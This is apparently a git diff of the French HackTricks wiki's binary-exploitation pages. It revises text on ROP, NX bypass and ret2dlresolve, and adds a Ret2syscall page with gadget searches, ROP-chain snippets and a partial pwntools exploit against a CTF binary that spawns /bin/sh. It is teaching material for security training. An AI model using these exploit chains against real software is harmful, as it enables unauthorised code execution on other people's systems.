diff --git a/SUMMARY.md b/SUMMARY.md index 65429f095..b340e89b9 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -706,7 +706,8 @@ * [Leaking libc - template](binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md) * [One Gadget](binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md) * [Ret2lib + Printf leak - arm64](binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md) - * [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv.md) + * [Ret2syscall](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md) + * [Ret2syscall - ARM64](binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md) * [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md) * [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) * [Array Indexing](binary-exploitation/array-indexing.md) diff --git a/binary-exploitation/basic-binary-exploitation-methodology/README.md b/binary-exploitation/basic-binary-exploitation-methodology/README.md index d62948edd..8b528be5e 100644 --- a/binary-exploitation/basic-binary-exploitation-methodology/README.md +++ b/binary-exploitation/basic-binary-exploitation-methodology/README.md @@ -32,7 +32,7 @@ Avant de commencer à exploiter quoi que ce soit, il est intéressant de compren Avec autant de techniques, il est bon d'avoir un schéma indiquant quand chaque technique sera utile. Notez que les mêmes protections affecteront différentes techniques. Vous pouvez trouver des moyens de contourner les protections dans chaque section de protection mais pas dans cette méthodologie. -## Contrôler le flux +## Contrôle du flux Il existe différentes façons de contrôler le flux d'un programme : @@ -44,7 +44,7 @@ Il existe différentes façons de contrôler le flux d'un programme : * Pourrait nécessiter d'abuser des [**Débordements d'entiers**](../integer-overflow.md) pour provoquer le débordement * **bof vers WWW via ROP** : Abuser d'un débordement de tampon pour construire un ROP et pouvoir obtenir un WWW. -Vous pouvez trouver les techniques d'**Écrire quoi où à l'exécution** dans : +Vous pouvez trouver les techniques **Écrire quoi où à l'exécution** dans : {% content-ref url="../arbitrary-write-2-exec/" %} [arbitrary-write-2-exec](../arbitrary-write-2-exec/) @@ -52,11 +52,11 @@ Vous pouvez trouver les techniques d'**Écrire quoi où à l'exécution** dans : ## Boucles éternelles -Il est important de prendre en compte que généralement **une seule exploitation d'une vulnérabilité pourrait ne pas suffire** pour exécuter avec succès une exploitation, en particulier si certaines protections doivent être contournées. Par conséquent, il est intéressant de discuter de certaines options pour **rendre une seule vulnérabilité exploitable plusieurs fois** dans l'exécution du binaire : +Il est important de prendre en compte que généralement **une seule exploitation d'une vulnérabilité pourrait ne pas suffire** pour exécuter avec succès une exploitation, surtout si certaines protections doivent être contournées. Par conséquent, il est intéressant de discuter de certaines options pour **rendre une seule vulnérabilité exploitable plusieurs fois** dans l'exécution du binaire : * Écrire dans une chaîne **ROP** l'adresse de la fonction **`main`** ou à l'adresse où la **vulnérabilité** se produit. * En contrôlant une chaîne ROP appropriée, vous pourriez être capable d'effectuer toutes les actions dans cette chaîne -* Écrire dans l'adresse **`exit` dans GOT** (ou toute autre fonction utilisée par le binaire avant la fin) l'adresse pour revenir à la **vulnérabilité** +* Écrire l'adresse de **`exit` dans GOT** (ou toute autre fonction utilisée par le binaire avant la fin) pour retourner à la **vulnérabilité** * Comme expliqué dans [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**,** stockez 2 fonctions ici, une pour appeler à nouveau la vulnérabilité et une autre pour appeler **`__libc_csu_fini`** qui appellera à nouveau la fonction de `.fini_array`. ## Objectifs d'exploitation @@ -64,11 +64,11 @@ Il est important de prendre en compte que généralement **une seule exploitatio ### Objectif : Appeler une fonction existante * [**ret2win**](./#ret2win) : Il y a une fonction dans le code que vous devez appeler (peut-être avec des paramètres spécifiques) pour obtenir le drapeau. -* Dans un **bof régulier sans** [**PIE**](../common-binary-protections-and-bypasses/pie/) **et** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), vous devez simplement écrire l'adresse dans l'adresse de retour stockée dans la pile. +* Dans un **bof régulier sans** [**PIE**](../common-binary-protections-and-bypasses/pie/) **et** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), vous avez juste besoin d'écrire l'adresse dans l'adresse de retour stockée dans la pile. * Dans un bof avec [**PIE**](../common-binary-protections-and-bypasses/pie/), vous devrez le contourner * Dans un bof avec [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), vous devrez le contourner * Si vous devez définir plusieurs paramètres pour appeler correctement la fonction **ret2win**, vous pouvez utiliser : -* Une chaîne [**ROP**](./#rop-and-ret2...-techniques) **si vous avez suffisamment de gadgets** pour préparer tous les paramètres +* Une chaîne [**ROP**](./#rop-and-ret2...-techniques) **s'il y a suffisamment de gadgets** pour préparer tous les paramètres * [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) (au cas où vous pourriez appeler cet appel système) pour contrôler de nombreux registres * Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres * Via un [**Écrire quoi où**](../arbitrary-write-2-exec/), vous pourriez abuser d'autres vulnérabilités (pas de bof) pour appeler la fonction **`win`**. @@ -84,34 +84,34 @@ Il est important de prendre en compte que généralement **une seule exploitatio * **Dans tous les cas, s'il y a un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** dans un bof régulier, vous devrez le contourner (leak) * **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), il est possible de sauter à l'adresse de la pile car elle ne changera jamais * **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), vous aurez besoin de techniques telles que [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) pour y sauter -* **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un peu de [**ROP**](../rop-return-oriented-programing/) **pour appeler `memprotect`** et rendre certaines pages `rwx`, afin de **stocker ensuite le shellcode là-dedans** (en appelant read par exemple) et ensuite sauter là-bas. +* **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un certain [**ROP**](../rop-return-oriented-programing/) **pour appeler `memprotect`** et rendre certaines pages `rwx`, afin de **stocker ensuite le shellcode là-dedans** (en appelant read par exemple) et ensuite y sauter. * Cela mélange le shellcode avec une chaîne ROP. #### Via syscalls -* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md): Utile pour appeler `execve` afin d'exécuter des commandes arbitraires. Vous devez être capable de trouver les **gadgets pour appeler le syscall spécifique avec les paramètres**. +* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Utile pour appeler `execve` afin d'exécuter des commandes arbitraires. Vous devez être capable de trouver les **gadgets pour appeler le syscall spécifique avec les paramètres**. * Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) sont activés, vous devrez les contourner **pour utiliser les gadgets ROP** du binaire ou des bibliothèques. * [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming.md) peut être utile pour préparer le **ret2execve** -* Des gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres +* Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres #### Via libc * [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Utile pour appeler une fonction d'une bibliothèque (généralement de **`libc`**) comme **`system`** avec certains arguments préparés (par exemple, `'/bin/sh'`). Vous avez besoin que le binaire **charge la bibliothèque** avec la fonction que vous souhaitez appeler (généralement libc). * Si **compilé statiquement et sans** [**PIE**](../common-binary-protections-and-bypasses/pie/), l'**adresse** de `system` et `/bin/sh` ne va pas changer, il est donc possible de les utiliser statiquement. * **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et en connaissant la version de libc** chargée, l'**adresse** de `system` et `/bin/sh` ne va pas changer, il est donc possible de les utiliser statiquement. -* Avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mais sans** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, en connaissant la libc et en utilisant la fonction `system`** du binaire, il est possible de **`ret` à l'adresse de system dans le GOT** avec l'adresse de `'/bin/sh'` en paramètre (vous devrez résoudre cela). +* Avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mais sans** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, en connaissant la libc et avec le binaire utilisant la fonction `system`** il est possible de **`ret` à l'adresse de system dans le GOT** avec l'adresse de `'/bin/sh'` en paramètre (vous devrez résoudre cela). * Avec [ASLR](../common-binary-protections-and-bypasses/aslr/) mais sans [PIE](../common-binary-protections-and-bypasses/pie/), en connaissant la libc et **sans que le binaire utilise le `system`** : * Utilisez [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) pour résoudre l'adresse de `system` et l'appeler * **Contournez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) et calculez l'adresse de `system` et `'/bin/sh'` en mémoire. * **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et** [**PIE**](../common-binary-protections-and-bypasses/pie/) **et sans connaître la libc**: Vous devez : * Contourner [**PIE**](../common-binary-protections-and-bypasses/pie/) -* Trouver la **version de la libc** utilisée (fuite de quelques adresses de fonctions) +* Trouver la **version de `libc`** utilisée (fuite de quelques adresses de fonctions) * Vérifiez les **scénarios précédents avec ASLR** pour continuer. #### Via EBP/RBP * [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Contrôlez l'ESP pour contrôler RET à travers l'EBP stocké dans la pile. * Utile pour les débordements de pile **d'un octet** -* Utile comme moyen alternatif de contrôler l'EIP tout en abusant de l'EIP pour construire la charge utile en mémoire, puis y sauter via l'EBP +* Utile comme moyen alternatif de contrôler l'EIP tout en abusant de l'EIP pour construire la charge utile en mémoire puis y sauter via l'EBP #### Misc diff --git a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md index 6aa1e70d2..87f5e7e3c 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md @@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Partagez vos astuces de piratage en soumettant des PR aux** référentiels [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). @@ -22,7 +22,7 @@ Le bit **No-Execute (NX)**, également connu sous le nom de **Execute Disable (X * Il est possible d'utiliser des techniques telles que [**ROP**](../rop-return-oriented-programing/) **pour contourner** cette protection en exécutant des morceaux de code exécutable déjà présents dans le binaire. * [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) -* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv.md) +* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) * **Ret2...**
@@ -33,8 +33,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Partagez vos astuces de piratage en soumettant des PR aux** référentiels [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/binary-exploitation/rop-return-oriented-programing/README.md b/binary-exploitation/rop-return-oriented-programing/README.md index ed638629e..1c577f459 100644 --- a/binary-exploitation/rop-return-oriented-programing/README.md +++ b/binary-exploitation/rop-return-oriented-programing/README.md @@ -4,11 +4,11 @@ Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres façons de soutenir HackTricks: +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -20,8 +20,8 @@ Autres façons de soutenir HackTricks: ### Fonctionnement de ROP -1. **Détournement du flux de contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un dépassement de tampon pour écrire par-dessus une adresse de retour sauvegardée sur la pile. -2. **Enchaînement de gadgets** : L'attaquant sélectionne soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela pourrait impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage nécessaire ou d'opérations supplémentaires. +1. **Détournement du flux de contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un dépassement de tampon pour écraser une adresse de retour sauvegardée sur la pile. +2. **Enchaînement de gadgets** : L'attaquant sélectionne soigneusement et enchaîne ensuite des gadgets pour effectuer les actions souhaitées. Cela pourrait impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage nécessaire ou d'opérations supplémentaires. 3. **Exécution de la charge utile** : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets. ### Outils @@ -37,11 +37,11 @@ Typiquement, les gadgets peuvent être trouvés en utilisant [**ROPgadget**](htt ### **Recherche de gadgets** -Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont : +Tout d'abord, supposons que nous ayons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont : * `pop eax; ret` : Ce gadget dépile la valeur supérieure de la pile dans le registre `EAX` puis retourne, nous permettant de contrôler `EAX`. * `pop ebx; ret` : Similaire au précédent, mais pour le registre `EBX`, permettant de contrôler `EBX`. -* `mov [ebx], eax; ret` : Déplace la valeur dans `EAX` vers l'emplacement mémoire pointé par `EBX` puis retourne. C'est souvent appelé un **gadget write-what-where**. +* `mov [ebx], eax; ret` : Déplace la valeur dans `EAX` vers l'emplacement mémoire pointé par `EBX` puis retourne. C'est souvent appelé un **gadget d'écriture-quoi-où**. * De plus, nous avons l'adresse de la fonction `system()` disponible. ### **Chaîne ROP** @@ -170,7 +170,7 @@ Consultez la page suivante pour ces informations : ## Protections contre la ROP * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/) : Ces protections rendent plus difficile l'utilisation de la ROP car les adresses des gadgets changent entre les exécutions. -* [**Canaris de pile**](../common-binary-protections-and-bypasses/stack-canaries/) : En cas de dépassement de tampon, il est nécessaire de contourner les canaris de pile pour écraser les pointeurs de retour afin d'exploiter une chaîne ROP. +* [**Canaris de pile**](../common-binary-protections-and-bypasses/stack-canaries/) : En cas de dépassement de tampon, il est nécessaire de contourner les canaris de pile pour écraser les pointeurs de retour et abuser d'une chaîne ROP. * **Manque de Gadgets** : S'il n'y a pas suffisamment de gadgets, il ne sera pas possible de générer une chaîne ROP. ## Techniques basées sur la ROP @@ -185,17 +185,17 @@ Remarquez que la ROP est juste une technique pour exécuter du code arbitraire. * **Ret2Syscall** : Utilise la ROP pour préparer un appel à un syscall, par exemple `execve`, et lui faire exécuter des commandes arbitraires. -{% content-ref url="rop-syscall-execv.md" %} -[rop-syscall-execv.md](rop-syscall-execv.md) +{% content-ref url="rop-syscall-execv/" %} +[rop-syscall-execv](rop-syscall-execv/) {% endcontent-ref %} -* **EBP2Ret & EBP Chaining** : Le premier exploitera EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est principalement contrôlé avec les adresses EBP (bien qu'il soit également nécessaire de contrôler EIP). +* **EBP2Ret & EBP Chaining** : Le premier abuse de EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est principalement contrôlé avec les adresses EBP (bien qu'il soit également nécessaire de contrôler EIP). {% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} [stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) {% endcontent-ref %} -## Autres exemples et références +## Autres exemples & Références * [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) * [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html) diff --git a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 030b8cb0f..b6d0663f4 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -22,13 +22,13 @@ La fonction **`_dl_runtime_resolve`** récupère à partir de la pile des réfé Par conséquent, il est possible de **fausser toutes ces structures** pour que la résolution dynamique lie le symbole demandé (comme la fonction **`system`**) et l'appelle avec un paramètre configuré (par exemple **`system('/bin/sh')`**). -Généralement, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire inscriptible, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour qu'elles soient stockées par `read` dans un emplacement connu, puis la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, le faisant **résoudre l'adresse de `system`** dans les fausses structures et **appelant cette adresse** avec l'adresse de `$'/bin/sh'`. +Généralement, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire inscriptible, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour qu'elles soient stockées par `read` dans un emplacement connu, puis la chaîne ROP continue en appelant **`_dl_runtime_resolve`**, lui faisant **résoudre l'adresse de `system`** dans les fausses structures et **appelant cette adresse** avec l'adresse de `$'/bin/sh'`. {% hint style="success" %} -Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv.md) ou [SROP](srop-sigreturn-oriented-programming.md)) et s'il n'y a pas de moyens de divulguer les adresses libc. +Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming.md)) et s'il n'y a pas de moyens de divulguer les adresses libc. {% endhint %} -Vous pouvez trouver une meilleure explication sur cette technique dans la deuxième moitié de la vidéo : +Vous pouvez trouver une meilleure explication sur cette technique dans la seconde moitié de la vidéo : {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} @@ -40,7 +40,7 @@ Il est nécessaire de falsifier 3 structures : **`JMPREL`**, **`STRTAB`** et **` 1. Écrire de fausses structures à un endroit 2. Définir le premier argument de system (`$rdi = &'/bin/sh'`) -3. Définir sur la pile les adresses des structures pour appeler **`_dl_runtime_resolve`** +3. Placer sur la pile les adresses des structures pour appeler **`_dl_runtime_resolve`** 4. Appeler **`_dl_runtime_resolve`** 5. **`system`** sera résolu et appelé avec `'/bin/sh'` comme argument @@ -71,8 +71,6 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re p.interactive() ``` ### Brut - -### Raw ```python # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack @@ -180,4 +178,4 @@ target.interactive() * [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) * [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html) -* 32 bits, pas de relro, pas de canary, nx, pas de pie, dépassement de tampon de base et retour. Pour l'exploiter, le dépassement de tampon est utilisé pour appeler `read` à nouveau avec une section `.bss` et une taille plus grande, pour y stocker les fausses tables `dlresolve` pour charger `system`, retourner à la fonction principale et réutiliser le dépassement de tampon initial pour appeler dlresolve et ensuite `system('/bin/sh')`. +* 32 bits, pas de relro, pas de canary, nx, pas de pie, dépassement de tampon de petite taille de base et retour. Pour l'exploiter, le dépassement de tampon est utilisé pour appeler `read` à nouveau avec une section `.bss` et une taille plus grande, pour y stocker les fausses tables `dlresolve` afin de charger `system`, retourner à la fonction principale et réutiliser le dépassement de tampon initial pour appeler dlresolve et ensuite `system('/bin/sh')`. diff --git a/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md new file mode 100644 index 000000000..c53751ee2 --- /dev/null +++ b/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -0,0 +1,192 @@ +# Ret2syscall + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Informations de base + +Ceci est similaire à Ret2lib, cependant, dans ce cas, nous n'appellerons pas une fonction d'une bibliothèque. Dans ce cas, tout sera préparé pour appeler le syscall `sys_execve` avec certains arguments pour exécuter `/bin/sh`. Cette technique est généralement utilisée sur des binaires compilés de manière statique, il peut donc y avoir de nombreux gadgets et instructions syscall. + +Pour préparer l'appel du **syscall**, la configuration suivante est nécessaire : + +* `rax: 59 Spécifie sys_execve` +* `rdi: ptr vers "/bin/sh" spécifie le fichier à exécuter` +* `rsi: 0 spécifie qu'aucun argument n'est passé` +* `rdx: 0 spécifie qu'aucune variable d'environnement n'est passée` + +Donc, fondamentalement, il est nécessaire d'écrire la chaîne `/bin/sh` quelque part, puis d'effectuer le `syscall` (en tenant compte du rembourrage nécessaire pour contrôler la pile). Pour cela, nous avons besoin d'un gadget pour écrire `/bin/sh` dans une zone connue. + +{% hint style="success" %} +Un autre syscall intéressant à appeler est **`mprotect`** qui permettrait à un attaquant de **modifier les autorisations d'une page en mémoire**. Cela peut être combiné avec [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +{% endhint %} + +## Gadgets de registre + +Commençons par trouver **comment contrôler ces registres** : +```bash +ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" +0x0000000000415664 : pop rax ; ret +0x0000000000400686 : pop rdi ; ret +0x00000000004101f3 : pop rsi ; ret +0x00000000004498b5 : pop rdx ; ret +``` +Avec ces adresses, il est possible de **écrire le contenu dans la pile et de le charger dans les registres**. + +## Écrire une chaîne de caractères + +### Mémoire inscriptible + +Tout d'abord, vous devez trouver un emplacement inscriptible dans la mémoire. +```bash +gef> vmmap +[ Legend: Code | Heap | Stack ] +Start End Offset Perm Path +0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 +0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 +0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] +``` +### Écrire une chaîne en mémoire + +Ensuite, vous devez trouver un moyen d'écrire du contenu arbitraire à cette adresse +```python +ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" +mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx +``` +### Automatiser la chaîne ROP + +La commande suivante crée une chaîne ROP complète `sys_execve` en donnant un binaire statique lorsqu'il y a des gadgets write-what-where et des instructions syscall : +```bash +ROPgadget --binary vuln --ropchain +``` +#### 32 bits +```python +''' +Lets write "/bin/sh" to 0x6b6000 + +pop rdx, 0x2f62696e2f736800 +pop rax, 0x6b6000 +mov qword ptr [rax], rdx +''' + +rop += popRdx # place value into EAX +rop += "/bin" # 4 bytes at a time +rop += popRax # place value into edx +rop += p32(0x6b6000) # Writable memory +rop += writeGadget #Address to: mov qword ptr [rax], rdx + +rop += popRdx +rop += "//sh" +rop += popRax +rop += p32(0x6b6000 + 4) +rop += writeGadget +``` +#### 64 bits + +#### 64 bits +```python +''' +Lets write "/bin/sh" to 0x6b6000 + +pop rdx, 0x2f62696e2f736800 +pop rax, 0x6b6000 +mov qword ptr [rax], rdx +''' +rop = '' +rop += popRdx +rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end +rop += popRax +rop += p64(0x6b6000) # Writable memory +rop += writeGadget #Address to: mov qword ptr [rax], rdx +``` +## Gadgets Manquants + +Si vous **manquez de gadgets**, par exemple pour écrire `/bin/sh` en mémoire, vous pouvez utiliser la technique **SROP pour contrôler toutes les valeurs des registres** (y compris RIP et les registres des paramètres) à partir de la pile : + +{% content-ref url="../srop-sigreturn-oriented-programming.md" %} +[srop-sigreturn-oriented-programming.md](../srop-sigreturn-oriented-programming.md) +{% endcontent-ref %} +```python +from pwn import * + +target = process('./speedrun-001') +#gdb.attach(target, gdbscript = 'b *0x400bad') + +# Establish our ROP Gadgets +popRax = p64(0x415664) +popRdi = p64(0x400686) +popRsi = p64(0x4101f3) +popRdx = p64(0x4498b5) + +# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret +writeGadget = p64(0x48d251) + +# Our syscall gadget +syscall = p64(0x40129c) + +''' +Here is the assembly equivalent for these blocks +write "/bin/sh" to 0x6b6000 + +pop rdx, 0x2f62696e2f736800 +pop rax, 0x6b6000 +mov qword ptr [rax], rdx +''' +rop = '' +rop += popRdx +rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end +rop += popRax +rop += p64(0x6b6000) +rop += writeGadget + +''' +Prep the four registers with their arguments, and 